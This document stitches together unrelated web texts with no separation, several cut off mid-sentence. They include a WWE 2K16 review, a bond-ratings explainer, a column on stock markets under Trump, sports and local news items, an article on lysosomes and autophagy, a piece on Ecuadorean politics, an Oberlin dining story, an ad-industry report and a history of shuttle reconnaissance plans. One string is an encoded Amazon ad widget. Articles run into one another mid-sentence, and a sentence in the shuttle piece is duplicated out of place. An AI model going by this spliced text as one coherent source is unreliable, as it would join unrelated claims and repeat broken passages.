the Attitude Era all the way up to his retirement. While I still think I preferred WWE 2K15’s decision to focus on a few different exciting rivalries, I still had a great deal of fun with Steve Austin’s 2K Showcase mode. Playing through it brought back fond memories of matches that I witnessed long ago, and even opened up my eyes to a few that I have never seen before (I’ve added a few Stunning Steve Austin matches to my WWE Network watch list). Jerry “The King” Lawler and Jim Ross seemed to have a great time reliving these experiences through commentary, though JR was a bit more reserved that I was expecting. Outside of these historical matches, there’s the three-man team of Jerry Lawler, Michael Cole and JBL on commentary, sticking to the game’s mission to be as TV-accurate as possible. I’m glad they included JBL in WWE 2K16, but he seems to have phoned it in a bit and his dialogue is strangely edited to fit in with the rest of the commentary lines from last year. Still, the lengths that 2K has gone to in the name of authenticity is appreciated, as they could have easily had Michael Cole and King calling every match. They even sought out Joey Styles to commentate the one ECW match in the 2K Showcase mode. Generally speaking, WWE 2K16 is visually impressive. Many of the Superstars and Divas look eerily similar to their real-life counterparts, some of the best being Triple H, Randy Orton, Dean Ambrose, Daniel Bryan, and Eva Marie. It’s obvious which wrestlers have been scanned for the game and which have had to be hand-modeled — some of the legends look especially off. Sometimes even the best character models are ruined by janky facial animations, causing eyes to bulge out strangely or mouths to move unrealistically, breaking the illusion. The crowd still looks pretty rough — I wish they would throw a few more polygons in the front row guys at least; it’s really weird seeing such detailed wrestlers walking by PS2-quality character models. Long hair looks noticeably better in WWE 2K16, and you can see intricate details like sweat beads, muscles contracting, and even redness on wrestlers’ chests after they get hit with a few chops. WWE 2K16 isn’t a huge leap from last year’s game, but it’s a very fun entry with possibly the most complete roster to date. The detailed visuals, painstakingly captured animations, and emphasis on drama and simulation-style gameplay combine to make a game that at times is indistinguishable from a modern WWE match on TV. It’s overall an impressive package that any fan of the WWE — past or present — will want to check out. JTNDaWZyYW1lJTIwc3R5bGUlM0QlMjJ3aWR0aCUzQTEyMHB4JTNCaGVpZ2h0JTNBMjQwcHglM0IlMjIlMjBtYXJnaW53aWR0aCUzRCUyMjAlMjIlMjBtYXJnaW5oZWlnaHQlM0QlMjIwJTIyJTIwc2Nyb2xsaW5nJTNEJTIybm8lMjIlMjBmcmFtZWJvcmRlciUzRCUyMjAlMjIlMjBzcmMlM0QlMjIlMkYlMkZ3cy1uYS5hbWF6b24tYWRzeXN0ZW0uY29tJTJGd2lkZ2V0cyUyRnElM0ZTZXJ2aWNlVmVyc2lvbiUzRDIwMDcwODIyJTI2T25lSlMlM0QxJTI2T3BlcmF0aW9uJTNER2V0QWRIdG1sJTI2TWFya2V0UGxhY2UlM0RVUyUyNnNvdXJjZSUzRHNzJTI2cmVmJTNEc3NfdGlsJTI2YWRfdHlwZSUzRHByb2R1Y3RfbGluayUyNnRyYWNraW5nX2lkJTNEbWV0YWwwYzctMjAlMjZtYXJrZXRwbGFjZSUzRGFtYXpvbiUyNnJlZ2lvbiUzRFVTJTI2cGxhY2VtZW50JTNEQjAwWFIzWUJNMCUyNmFzaW5zJTNEQjAwWFIzWUJNMCUyNmxpbmtJZCUzREdSQjZMNENEQkgyUFdRRUUlMjZzaG93X2JvcmRlciUzRHRydWUlMjZsaW5rX29wZW5zX2luX25ld193aW5kb3clM0R0cnVlJTIyJTNFJTBBJTNDJTJGaWZyYW1lJTNF RelatedAfter being surrounded and influenced by so many great artists over the years, it is my humble pleasure to put on my first solo art
2008, de 26 de fevereiro, e 116/2008, de 4 de julho, pelas Leis n.os 52/2008, de 28 de agosto, e 61/2008, de 31 de outubro, pelo Decreto -Lei n.º 226/2008, de 20 de novembro, pela Lei n.º 29/2009, de 29 de junho, pelos Decretos -Leis n.os 35/2010, de 15 de abril, e 52/2011, de 13 de abril, e pelas Leis n.os 63/2011, de 14 de dezembro, 31/2012, de 14 de agosto, e 60/2012, de 9 de novembro.Bonds are not the easiest investments to figure out. A bond fund, apart from its description, doesn’t tell you much about all the risks involved either. In an environment where investors chase higher yields, the greater risk of loss can be quickly ignored. Bond ratings make it easy for you to understand the default risk of a bond, while still taking into account all the other risks. What Are Bond Ratings? Bond ratings are credit scores for governments and companies. It measures the issuer’s financial strength and ability to make interest and principle payments to bondholders. For investors, these grades are an easy way to do a credit check without digging into financial statements. The ratings are easy enough to understand. The higher the bond rating, the lower the risk of default. For that, the company gets a lower cost to borrow. For you, it’s a lower interest rate on the bond, but a higher chance you’re paid in full. A bond’s rating will change as the issuer’s credit score changes. When investors view the change as good, it will increase demand and raise the price of the bond, lowering the interest rate. Of course, the opposite could happen or nothing could happen. It depends on whether investors see the change as positive or negative. In order to understand investor sentiment, you need to know the bond ratings scale, which is made up of a combination of letter grades. If you understand the letter grades in school, this should be easy. Bond Ratings Scale The three main ratings agencies are Standard & Poor’s, Moody’s and Fitch. There isn’t a standard ratings system between each agencies. Standard & Poor’s and Fitch use a similar ratings scale. Moody’s complicated things in their effort to differentiate themselves. So you have three ratings agencies with different scales. Each one based on the agency’s unique grading criteria. The highest ratings (AAA to BBB-) are considered investment grade bonds. These are Treasuries and high quality municipal, corporate, and foreign bonds. Anything lower (BB+ and lower) are non-investment grade, consisting of high yield or junk bonds. With the higher yields brings more risk. The risk default rises with each lower grade. Here’s an easy way to remember it: A’s are good, B’s are average risk, and C’s or lower are very risky. Moody’s Standard & Poor’s Fitch Notes Aaa AAA AAA Highest investment grade Aa1 AA+ AA+ Aa2 AA AA Aa3 AA- AA- Baa1 BBB+ BBB+ Baa2 BBB BBB Baa3 BBB- BBB- Lowest investment grade Ba1 BB+ BB+ Highest non-investment grade Ba2 BB BB Ba3 BB- BB- B1 B+ B+ Fairly speculative B2 B B B3 B- B- Caa1 CCC+ CCC Caa2 CCC Higher risk of default Caa3 CCC- Ca CC CC C C Lowest quality, highest risk C D D Default Why Ratings Matter A ratings system is an easy way to judge the financial strength of an issuer. This isn’t hard to find out for companies. Dig through the balance sheet and you’ll discover this soon enough. But what about municipal or foreign bonds. When financial strength is based on tax revenue or transparency isn’t a priority, getting this information is difficult. These ratings make the process easier for bond investors. As interest rates fluctuate, it’s easy for investors to seek higher yields without understanding the risks involved. So you can quickly match a bond to your risk profile just by checking the rating. You can do the same with bond funds too. Funds offer a lot of information on average credit quality and break down its bond holdings by ratings. This also comes in handy for stock investors. When you research stocks, you can quickly check a company’s bond rating to get an idea of its financial strength. It’s an easy way to streamline the research process. Of course, for this to be relevant, the ratings agencies must be right. This doesn’t mean you should ignore ratings entirely. Rather, use the bond ratings as a basic default risk guide and be aware of any rating changes.Columnist President Trump loves to brag about how well the U.S. stock market is doing, citing market movements as evidence of how awesome his presidency has been for the economy. On Wednesday, during a Pennsylvania speech and a subsequent interview with Sean Hannity, he touted stock performance again, this time adding the confused claim that equity market increases were tantamount to wiping out our national debt. There are many reasons that boasting about market movements is boneheaded, including some that have been cited by lots of business journalists (such as Marketplace’s Kai Ryssdal): Presidents don’t actually control the “animal spirits” of equity markets Equity markets don’t necessarily reflect the underlying health of the economy Markets can also go down, making it risky to benchmark your administration’s success to stock prices There’s another important reason that I haven’t heard mentioned so far: Stock markets may be up — but they’re actually up more in the rest of the developed world than they are here. As Ryssdal might say, let’s do the numbers. To track changes in U.S. equities markets, I’m using the S&P 500. This is a broad, market-cap-weighted measure of 500 U.S. equities. For lots of reasons, it’s more representative of the overall U.S. stock market than the 30-company Dow Jones Industrial Average. For example, the Dow is price-weighted, which means a single expensive stock can cause the Dow to have big swings. For the rest of the developed world, I’m using an exchange-traded fund that tracks the MSCI EAFE Index. This index is made up of large- and mid-capitalization developed market equities in Europe, the Middle East, Asia and the Pacific. It does not include any North American stocks. Here’s what both of those measures have done since Trump took office on Jan. 20, 2017: Source: Yahoo Finance. Close prices adjusted for splits. As you can see, the S&P 500 is up 12.5 percent as of Oct. 11. The international index ETF is up 16.6 percent. Trump, of course, prefers to benchmark markets going back to Election Day, since the gains have been greater over a longer time horizon. Fine. Let’s look at what’s happened since then. Source: Yahoo Finance. Close prices adjusted for splits. Since Nov. 8, the U.S. market is up 19.4 percent. Markets elsewhere, 20.4 percent. If Trump’s economic platform is really single-handedly responsible for stock market gains, it’s hard to explain why it would benefit the rest of the developed world more than it benefits us. Especially if you adopt Trump’s “America First” view of the global economy as essentially zero-sum. The point isn’t that U.S. equities are doing badly. They’re doing well. We’re in a bull market that long, long predates this administration. Given that plus the global context, it’s dangerous and dumb for Trump to take credit.Gareth Bale is in no rush to leave Tottenham, according to former Spurs captain Ledley King. Bale, 23 has been described as the world's third-best player after scoring eight goals in his last six games. Ledley King's career Born: 12 October 1980 12 October 1980 Position: Centre-back Centre-back Club career: King was a one-club man, making 264 Premier League starts in an injury-hit career that lasted from 1999-2012 King was a one-club man, making 264 Premier League starts in an injury-hit career that lasted from 1999-2012 International career: Earned 21 caps for England, and was selected for Euro 2004 and World Cup 2010 "He's enjoying it at Spurs. I wouldn't see him in any rush to leave," King told BBC Sport. Asked if Bale would be the decisive figure in Sunday's north London derby, King said: "I think so. Arsenal will be wary of him and the threat he poses." Bale has been linked with a big-money switch to Spanish champions Real Madrid because of the quality of his recent performances. These rumours appeared again after he played a key role on Monday against West Ham, opening the scoring with an incisive low shot before striking a stunning last-minute winner. Former Tottenham and England centre-back King, who was forced to retire at the age of 31 last summer after years of problems with a debilitating knee injury, is convinced these displays put Bale alongside Barcelona's Lionel Messi and Real Madrid's Cristiano Ronaldo as the sport's leading performers. "Gareth is in the top three players in the world on current form," he said. "I really enjoyed playing with him. Last season was his best to date and now he is taking it to another level." The result at Upton Park re-established Tottenham's four-point lead over Arsenal ahead of a game which could prove crucial to both clubs' hopes of finishing in a Champions League qualification place. King on life after football "Coming away from the game I am grateful Tottenham have allowed me to continue to work for the club as an ambassador. "Walking around I am fine [despite the knee injury], but if I get a bit excited when I see a ball and do something it quickly reminds me why I retired! "I will be at the game on Sunday like a fan. It is the first home game against Arsenal since I retired so I am very much looking forward to it." Tottenham have not ended a Premier League season in front of their north London rivals since 1995, but King believes this run will come to an end in May as Spurs have the stronger squad. He said: "It has been long enough [Tottenham ending the season behind Arsenal], and it did not happen while I was playing. I think this is finally the season where we can finish above our neighbours. "I think Tottenham do have a better squad. Obviously, both teams have quality players but I think maybe Tottenham's squad is stronger." Manager Andre Villas-Boas has impressed since arriving at White Hart Lane in July, and King praised the Portuguese's impact after a difficult previous spell at Chelsea. "The players love him and that is so important," he said. "We have seen the passion he shows on the sideline - every goal the team scores he celebrates. "For any young, foreign manager, coming from abroad to the Premier league is tough, yet alone to Chelsea. He has the chairman [Daniel Levy] behind him and we are seeing what he is made of."Buy Photo The Milwaukee County Medical Examiner's office. (Photo: Mike De Sisti / Milwaukee Journal Sentinel)Buy Photo A man who was found dead at the scene of a house fire in Hales Corners Monday died from a self-inflicted gunshot wound and is suspected of starting the blaze, police said Tuesday. The man's identity hasn't been determined, but investigators have ruled that the fire was arson, according to a news release from the village's police department. The Greendale and Hales Corners combined dispatch received a call about 4:30 a.m. Monday about smoke coming from a residence at 12300 W. Edgerton Ave. The home was fully engulfed when fire units arrived, and the fire was under control within an hour. Fire officials determined the cause to be suspicious and asked for police help. Hales Corners police found a dead man in a second structure while searching the property for any additional damage or injured people, according to police. The Milwaukee County Medical Examiner's office will conduct an autopsy Tuesday. Read or Share this story: https://jsonl.in/2wiGwvgImage copyright AFP Image caption Pope Francis has been a life-long supporter of San Lorenzo Argentine football club San Lorenzo has announced it will name its new stadium after Pope Francis. The pontiff has supported the Buenos Aires-based team since he was a boy. San Lorenzo, one of the oldest teams in the Argentine Football Association, is planning to build a new stadium in Boedo, a working-class neighbourhood in the Argentine capital. The new venue will be built on land seized from the club during the time of military rule from 1976-1983. Streak of success The club announced its decision on Twitter following a meeting of its board: "Name of the future stadium on La Plata Avenue approved. It will be called: Pope Francis." Image copyright EPA Image caption San Lorenzo have had a successful year, winning the Argentine top division and the Copa Libertadores Image copyright AFP Image caption San Lorenzo players have been to the Vatican to meet their most famous fan San Lorenzo played at its home ground in the Gasometro (Gasometer) stadium in Boedo until 1979, when debts forced the club to sell the ground to the military government. It moved to the Pedro Bidegain stadium, often referred to as Nuevo Gasometro (New Gasometre), in 1993, but fans have campaigned to return to their historic grounds for years. Fans donated money towards the purchase of the land, which the military government had sold to a supermarket chain. After a court action forced the supermarket chain to sell back the land, the club drew up its plans for its new home ground, expected to be inaugurated in 2016. Pope Francis is the team's most famous fan and some supporters have joked that their recent string of sporting success is down to him. San Lorenzo recently won the Copa Libertadores - South American club football's most prestigious competition - for the first time in the club's 106-year history. And last year they won the trophy in Argentina's top division. But quizzed if his support may have played a part in his favourite team's victories, the Pope said at the time of their Copa Libertadores win that "I am very happy about it, but, no, it is not a miracle".Lysosomes are versatile garbage disposals. In addition to taking in shrouded material, they can also pull in individual proteins through special portals on their surface. Lysosomes can even extend a mouthlike projection from their membrane and chew off pieces of a cell. The shredded debris that streams out of the lysosomes is not useless waste. A cell uses the material to build new molecules, gradually recreating itself from old parts. “Every three days, you basically have a new heart,” said Dr. Ana Maria Cuervo, a molecular biologist at Albert Einstein College of Medicine. This self-destruction may seem like a reckless waste of time and energy. Yet it is essential for our survival, and in many different ways. Proteasomes destroy certain proteins quickly, allowing them to survive for only about half an hour. That speed allows cells to keep tight control over the concentrations of the proteins. By tweaking the rate of destruction, it can swiftly raise or lower the number of any kind of protein. Lysosomes, which eat more slowly than proteasomes, serve different roles that are no less essential. They allow cells to continue to build new molecules even when they are not getting a steady supply of raw ingredients from the food we eat. Lysosomes also devour oily droplets and stores of starch, releasing energy that cells can use to power the construction of new molecules. “If you don’t have a snack between lunch and dinner,” Dr. Cuervo said, “you’re going to have to activate your lysosomes to get nutrients.” Lysosomes become even more active if dinner never comes, and a short-term hunger turns to long-term starvation. Cells respond to famine by making only a small number of crucial molecules and using lysosomes to destroy the rest. “When times are good, make everything,” Dr. Klionsky said. “When times are lean, focus on what you need. You can get rid of everything else.” This strategy for survival, known as autophagy (“eating oneself”), evolved in our ancestors over two billion years ago. Today, all animals rely on it to endure famines, as do plants, fungi and single-cell protozoa. Advertisement Continue reading the main story Autophagy’s great antiquity has helped scientists discover the genes that make it possible in humans. Rather than study starving people, they introduced mutations into yeast and then observed which strains could no longer survive without food. In many cases, the scientists discovered, the mutations that made yeast vulnerable struck genes that are involved in autophagy. They were then able to find nearly identical versions of those genes in the human genome. The protection humans get from lysosomes is essential not just during famines. It is also vital just after birth. When babies emerge from their mothers, they need huge amounts of energy so that they can start to run their bodies on their own. But this demand comes at precisely the moment that babies stop getting food through their umbilical cord. Japanese scientists have found that lysosomes in mice kick into high gear as soon as they are born. After a day or two, as they start to nurse, the rate of autophagy drops back to normal. When the scientists engineered mice so they could not use their lysosomes at birth, the newborn mice almost immediately died of starvation. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Even if you enjoy a steady supply of food your entire life, you still rely on autophagy for another reason: to keep the molecules in your cells in good working order. Cells make a lot of defective molecules. They misread genes, for example, and misfold proteins. Even a perfectly crafted molecule does not stay perfect for long. “Proteins go bad with time,” Dr. Klionsky said. “They age, and they wear out.” When proteins and other molecules go bad, they can start to gum up the intricate chemical reactions on which a cell’s survival depends. The cell recognizes defective parts and tags them for destruction. Experiments on flies show the harm that can occur when cells cannot clear away the old and bring in the new. Flies that are genetically engineered with defective lysosomes start to accumulate abnormal clumps of proteins in their cells. The clumps build up especially in their neurons, which start to die as a result. The Belgian biochemist Christian de Duve discovered lysosomes in 1955, for which he later won the Nobel Prize. In 1963, scientists discovered that a genetic defect in lysosomes was responsible for a disorder known as Pompe disease, which weakens the heart and muscles. Those who have the disease are missing a protein that lysosomes need to break down stores of energy. Today over 50 disorders are recognized as the result of one defect or another in lysosomes. Doctors can now treat some of these diseases by supplying people with the proteins they lack. In recent years, scientists have also found evidence of autophagy in preventing a much wider range of diseases. Many disorders, like Alzheimer’s disease, are the result of certain kinds of proteins forming clumps. Lysosomes can devour these clumps before they cause damage, slowing the onset of diseases. Lysosomes may also protect against cancer. As mitochondria get old, they cast off charged molecules that can wreak havoc in a cell and lead to potentially cancerous mutations. By gobbling up defective mitochondria, lysosomes may make cells less likely to damage their DNA. Many scientists suspect it is no coincidence that breast cancer cells are often missing autophagy-related genes. The genes may have been deleted by mistake as a breast cell divided. Unable to clear away defective mitochondria, the cell’s descendants become more vulnerable to mutations. Unfortunately, as we get older, our cells lose their cannibalistic prowess. The decline of autophagy may be an important factor in the rise of cancer, Alzheimer’s disease and other disorders that become common in old age. Unable to clear away the cellular garbage, our bodies start to fail. Advertisement Continue reading the main story If this hypothesis turns out to be right, then it may be possible to slow the aging process by raising autophagy. It has long been known, for example, that animals that are put on a strict low-calorie diet can live much longer than animals that eat all they can. Recent research has shown that caloric restriction raises autophagy in animals and keeps it high. The animals seem to be responding to their low-calorie diet by feeding on their own cells, as they do during famines. In the process, their cells may also be clearing away more defective molecules, so that the animals age more slowly. Some scientists are investigating how to manipulate autophagy directly. Dr. Cuervo and her colleagues, for example, have observed that in the livers of old mice, lysosomes produce fewer portals on their surface for taking in defective proteins. So they engineered mice to produce lysosomes with more portals. They found that the altered lysosomes of the old experimental mice could clear away more defective proteins. This change allowed the livers to work better. “These mice were like 80-year-old people, but their livers were functioning as if they were 20,” Dr. Cuervo said. “We were very happy about that.” Andrea Ballabio, the scientific director of Telethon Institute of Genetics and Medicine in Naples, Italy, and his colleagues have found another way to raise autophagy. By studying the activity of genes that build lysosomes, they discovered that at least 68 of the genes are switched on by a single master protein, known as TFEB. When Dr. Ballabio and his colleagues engineered cells to make extra TFEB, the cells made more lysosomes. And each of those lysosomes became more efficient. The scientists injected the cells with huntingtin, a protein that clumps to cause the fatal brain disorder Huntington’s disease. The cells did a much better job of destroying the huntingtin than normal cells. “This is a very good sign,” Dr. Ballabio said. “We’re very excited because this network of genes may apply to a number of diseases.” Dr. Ballabio and other researchers are now investigating ways in which they can increase autophagy with drugs or diets — raising the number of portals on lysosomes, for example, or causing cells to make extra TFEB. But developing such treatments will require a sophisticated understanding of autophagy. After all, autophagy is a potent force for destruction, and if lysosomes are accidentally ripped open, their toxic enzymes can kill a cell. As Dr. Klionsky, of the University of Michigan, said, “You can’t just turn this on and let it go.”QUITO (Reuters) - Ecuador’s President Rafael Correa on Saturday backed a constitutional change to allow politicians to run indefinitely, potentially paving the way for the leftist himself to seek the top job again in 2017. Ecuador's President Rafael Correa addresses the nation with a speech to commemorate 192 years of independence from Spain at the National Assembly in Quito May 24, 2014. REUTERS/Stringer Correa remained coy about his future plans, stressing that a potential run depended on his party and political conditions. “Let the Ecuadorean people decide with full freedom the continuity or change of leaders,” Correa told Congress on Saturday. “We have to keep adjusting our institutions to (Ecuador’s) new reality and not revert to the domination of elites.” The measure is poised to easily be approved in Congress, where Correa’s Alianza Pais party has a majority. A U.S.-trained economist, Correa was first elected in 2007 with an agenda to lift the resource-rich country out of poverty. He won a second four-year term last year. The first Ecuadorean president in the past two decades to complete a full term in office, Correa is lauded for bringing stability to the Andean country, bolstering social services and overseeing an oil-fuelled economic boom. His critics blast him for aggressive run-ins with private media, unpredictable regulatory changes and what they say are inflated presidential powers. They are likely to seize on this announcement as evidence Correa is seeking to create an authoritarian state. Others leaders in Latin America, a region chiefly governed by presidential systems, have also flirted with doing away with limits to governance. The late Venezuelan president Hugo Chavez, an ideological ally of Correa’s, won a referendum in 2009 to remove limits on re-election. A Colombian court in 2010 blocked former right-wing President Alvaro Uribe’s bid to seek a third term in office.Diep Nguyen, a College first-year from Vietnam, jumped with excitement at the sight of Vietnamese food on Stevenson Dining Hall’s menu at Orientation this year. Craving Vietnamese comfort food, Nguyen rushed to the food station with high hopes. What she got, however, was a total disappointment. The traditional Banh Mi Vietnamese sandwich that Stevenson Dining Hall promised turned out to be a cheap imitation of the East Asian dish. Instead of a crispy baguette with grilled pork, pate, pickled vegetables and fresh herbs, the sandwich used ciabatta bread, pulled pork and coleslaw. “It was ridiculous,” Nguyen said. “How could they just throw out something completely different and label it as another country’s traditional food?” Nguyen added that Bon Appétit, the food service management company contracted by Oberlin College, has a history of blurring the line between culinary diversity and cultural appropriation by modifying the recipes without respect for certain Asian countries’ cuisines. This uninformed representation of cultural dishes has been noted by a multitude of students, many of who have expressed concern over the gross manipulation of traditional recipes. Prudence Hiu-Ying, a College sophomore from China, cited an instance when Stevenson was serving General Tso’s chicken, but the product did not resemble the popular Chinese dish. Instead of deep-fried chicken with ginger-garlic soy sauce, the chicken was steamed with a substitute sauce, which Hiu-Ying described as “so weird that I didn’t even try.” According to CDS management, these dishes are a result of Bon Appétit’s foray into nutritional diversity. The food service company has recently been upping their output of cultural dishes in an attempt to diversify students’ options in taste and flavor profile. “Hopefully, if you dined with us in Stevenson, there would be one thing in every meal that you would want to eat,” said Michile Gross, director of Business Operations and Dining Services. Perhaps the pinnacle of what many students believe to be a culturally appropriative sustenance system is Dascomb Dining Hall’s sushi bar. The sushi is anything but authentic for Tomoyo Joshi, a College junior from Japan, who said that the undercooked rice and lack of fresh fish is disrespectful. She added that in Japan, sushi is regarded so highly that people sometimes take years of apprenticeship before learning how to appropriately serve it. “When you’re cooking a country’s dish for other people, including ones who have never tried the original dish before, you’re also representing the meaning of the dish as well as its culture,” Joshi said. “So if people not from that heritage take food, modify it and serve it as ‘authentic,’ it is appropriative.” Still, some students are not convinced that Bon Appétit’s menu qualifies as cultural appropriation. Arala Tian Yoon Teh, a College sophomore from Malaysia, said the dining service’s food selections are a reflection of cultural collision, not cultural appropriation. She added that she thought Bon Appétit was inspired by Asian cuisine and just made dishes with the available ingredients. Gross said Bon Appétit did not intend to serve the dishes disrespectfully and that there is room to correct the issue. “Maybe what we should do is describe the dish for what it is as opposed to characterizing it with a specific name,” Gross said. Richard Tran, a Vietnamese-American College senior, suggested that Bon Appétit look into the history and original recipes of the foods they are trying to make, as there are food taboos within cultures they should avoid. Mai Miyagaki, a College junior from Japan, added that a meeting between Bon Appétit employees and international students could help alleviate tensions. “I wish they could do something like a collaboration with the cultural student [organizations] before starting new stuff like this [sushi bar],” Miyagaki said. “Overall, I think we — including myself — can always learn more about how to admit that we don’t know everything about every culture in the world and have a ‘We’re still trying to learn more’ kind of attitude.” In line with Miyagaki’s hopes for collaboration, Gross said she is planning on setting up a meeting in upcoming weeks to discuss these issues. “It’s important to us that students feel comfortable when they are here,” Gross said.The biggest players in advertising and tech are mapping out a strategy to kill off the digital ads that have been deemed as the absolute worst by consumers. The most likely approach is the adoption of a "technology" -- the term "ad blocker" has baggage among many of the participants in talks on the subject -- that would prevent browsers such as Google Chrome or Microsoft Edge from displaying autoplaying video ads with sound, pop-up ads and ads that quickly flash or change colors. The discussions are taking place among members of the industry's Coalition for Better Ads, including Google, Microsoft, Procter & Gamble, Unilever, WPP's ad-buying giant GroupM, Facebook, Thomson Reuters, The Washington Post, the Interactive Advertising Bureau and the Association of National Advertisers, according to Stu Ingis, counsel to the coalition and attorney at Venable LLP. "The end game here is to remove these types of ads which are undercutting the consumer internet experience," Ingis said. "Truthfully, those ads can potentially and seriously undercut the broader internet ecosystem." A "blocking mechanism" or "technology" to prevent such ads from appearing will be put into place before the end of this year, Ingis predicted. Google said it does not comment on speculation, but said it's been working closely with the coalition for Better Ads and its members. The IAB declined to comment. GroupM, Facebook, Unilever and P&G could not immediately be reached for comment. Earlier this year, the Coalition for Better Ads paid some 25,000 participants in the U.S. and Europe to rate 104 different ad experiences on desktop and mobile. Their findings, released in March, revealed what many already know: Consumers don't like autoplay video ads with sound, pop-up ads and ads that quickly flash or change colors. Though the findings seemed obvious, the coalition was partly trying to create a ranking of sorts to inform its effort to stop the worst ads. An independent monitoring group would be required should the coalition decide on adopting ad blocking technology, Ingis said. "I don't see a scenario where there is a technology solution, but there isn't oversight," he said. "Oversight is needed to make sure the tech is doing what it is supposed to. Oversight is needed so no one company is by themselves in setting or making determinations." Ad blocking tech would elevate premium publishers that don't sell annoying ad formats and protect them from actors that will sell anything possible, Ingis said. Hamish Nicklin, chief revenue officer at the Guardian, said the idea was promising. "We welcome any initiative that helps to create an open web where the experience of readers is put first, and in which publishers like the Guardian -- which has long believed in a fewer, better approach to the ads we place across our products -- can prosper," Nicklin said. Questions about implementation remain though, he added. "While these developments will help to promote good formats, it's unclear how they will deal with the gaming of good formats, with bad dynamic creatives, which we have seen being served through mainstream programmatic exchanges," Nicklin said. As it stands right now, no solution has been adopted. In fact, the Coalition for Better Ads is still in the process of drawing up its roadmap, something it says will be complete within the coming weeks. From there, coalition board members will decide on what solution they will use to stop annoying ads from surfacing. That decision will likely come in September or by the end of this year, Ingis said. "What I would say is stay tuned, because I think as we really develop this, the consumer is going to see a rapidly improved ad experience," he said. "If the question is, 'Isn't this motivated by self-interest,' the answer is absolutely it is driven by self-interest." "The ad industry has a self-interest to make sure the ad supported internet that consumers love continues," he added. "The incentives of the ad industry, from my view, are exactly right. And they are perfectly aligned with what consumer interest would want." ~ ~ ~ CORRECTION: An earlier version of this article erroneously attributed information about the talks at the Coalition for Better ads to Chuck Curran, counsel to the coalition and attorney at Venable LLP. The speaker was Stu Ingis, also counsel to the coalition and an attorney at Venable.Shuttle launches from Space Launch Complex-6 at Vandenberg Air Force Base could have not only launched reconnaissance satellites, but also carried out reconnaissance missions themselves. (credit: US Air Force) Black ops and the shuttle (part 2): Reconnaissance missions in the space shuttle, from WASP to ZEUS The nearest communities to Vandenberg Air Force Base on California’s Central Coast are Lompoc and Santa Maria. Although not exactly sleepy little towns, nobody would mistake them for bustling communities: the most significant industries are flowers and the federal penitentiary. But things would have gone differently if the space shuttle had ever started flying out of Space Launch Complex-6 (“Slick-6”) at Vandenberg. Not only would the base have gained a lot of work processing shuttles and the sophisticated payloads that used them, but tens of thousands of tourists would have flooded into the area to watch the launches, giving a shot of adrenaline to the local economies each time. Many of the launches would have been classified, but notices would have gone out that they were occurring, and tourists would have shown up. That certainly would have happened if ZEUS had ever appeared. They determined that this could be done for 20 percent of the cost of a new satellite. Next to this assertion in the report an NRO official had handwritten the word “BULL” in all caps. The public would not have known it was called ZEUS. And in fact, the name probably would have been changed if the program had ever become operational. ZEUS was a late 1970s plan by the secretive National Reconnaissance Office, which operated the United States’ highly classified intelligence satellites, to mount a powerful camera system inside the shuttle’s payload bay and launch out of Vandenberg perhaps four times a year. One variant of ZEUS would have operated from the payload bay during a shuttle mission lasting up to three weeks, whereas a later version would have been deployed into low Earth orbit in groups of three hockey-puck shaped satellites, which might have been serviced in orbit on following flights. If it had been given the go-ahead, perhaps a majority of the shuttle launches from California would have carried ZEUS payloads into orbit. But ZEUS never got to fly, the space shuttle never launched from Vandenberg, and the local communities never got to bask in the glory of a space shuttle rising on pillars of flame over the mountains of the Pacific Coast. The reusable Big Bird The first KH-9 HEXAGON search reconnaissance satellite had roared out of Vandenberg in 1971 atop a Titan IIID, the most powerful rocket then in the Air Force’s stable. The satellite was the largest ever launched there, and pad workers had given it the nickname “the big bird.” In 1973, a team of contractors that built the HEXAGON performed a study on launching that satellite from the space shuttle (see “Black ops and the shuttle (part 1): On-orbit servicing and recovery of the HEXAGON reconnaissance satellite,” The Space Review, February 13, 2017). HEXAGON had worked well on its first mission, returning large amounts of film covering the Soviet Union and other countries. It was a highly-capable addition to the American intelligence satellite fleet. But the shuttle offered even greater capability. It had a larger payload bay and could lift heavier payloads, and had the ability to service and recover spacecraft in orbit. HEXAGON contractors Perkin-Elmer, Lockheed, and Kodak looked at a number of options, including servicing a HEXAGON in orbit, replacing its film and reentry vehicles and other consumables such as fuel, and building larger satellites to take advantage of the shuttle’s mass and volume advantages. They ultimately concluded that the best approach would be to use the shuttle to recover the bus-sized HEXAGON and return it to the ground where it could be refurbished and relaunched. They determined that this could be done for 20 percent of the cost of a new satellite. Next to this assertion in the report an NRO official had handwritten the word “BULL” in all caps. The skepticism within the NRO about messing with the HEXAGON design continued throughout the 1970s. In April 1975, Raymond E. Anderson, who ran the West Coast-based office in charge of HEXAGON, wrote a memo about a recent transition plan for using the space shuttle. He believed that the plan had underestimated how to deal with the HEXAGON and suggested that in the future it would be better if his office was involved from the start. Anderson also expressed some annoyance with the 1973 study of modifying the HEXAGON for the shuttle, which had not been conducted by his office but rather by the NRO’s West Coast advanced systems office, known as “Special Projects office 6,” or “SP-6” for short. Naturally, as the head of SP-7, the office that oversaw the HEXAGON, Anderson did not like that another office was studying how to use it on the shuttle. “Despite the conclusions drawn by my contractors in the past Shuttle studies conducted by SP-6,” Anderson wrote, “I feel the most useful way for HEXAGON to use the shuttle is to replenish the expendables in orbit.” The contractors had determined that this would be too complicated, but Anderson had his own reasoning: “I sure don’t want to bring it back to let the contractors tear it apart and rebuild it,” he wrote. HEXAGON had been started in 196
to stores like BevMo and Binny’s, liquor warehouses in other states that dominate the market because of their volume. While this may be a good thing for bottom-line prices to consumers willing to buy from large retailers, it could be bad if you like having that local bottle shop around the corner from you and having a large selection of local brews. 3) For local breweries, they may be expected to cut their sale price and give more freebies to bars/retailers in order to compete for shelf/tap space. As a result, these small breweries may make less money and may not be able to compete. 4) Distributors are left in limbo. The initiative removes the three tier system and all breweries will be able to directly distribute to retailers, if they so choose. Many bars already choose to buy beers from a single distributor for one reason or another, now they may be given deep discounts to buy from a single brewery, such as MillerCoors or AB, further limiting your selections. The three tier system has always been a gray area to me, as there are many local breweries that already self-distribute legally….many people cite that the repeal of the three tier system is a great thing for small breweries who want to distribute their own product, but some already do this, yes? Someone feel free to jump in and explain here. If anyone has an alternate view on this, I’m all ears. I don’t pretend to be an expert on these matters. Please feel free to leave comments below. But, if no one can convince me otherwise, I’ll be voting NO on Initiative 1100. Here is the full release from the Washington Brewers Guild:Get the biggest 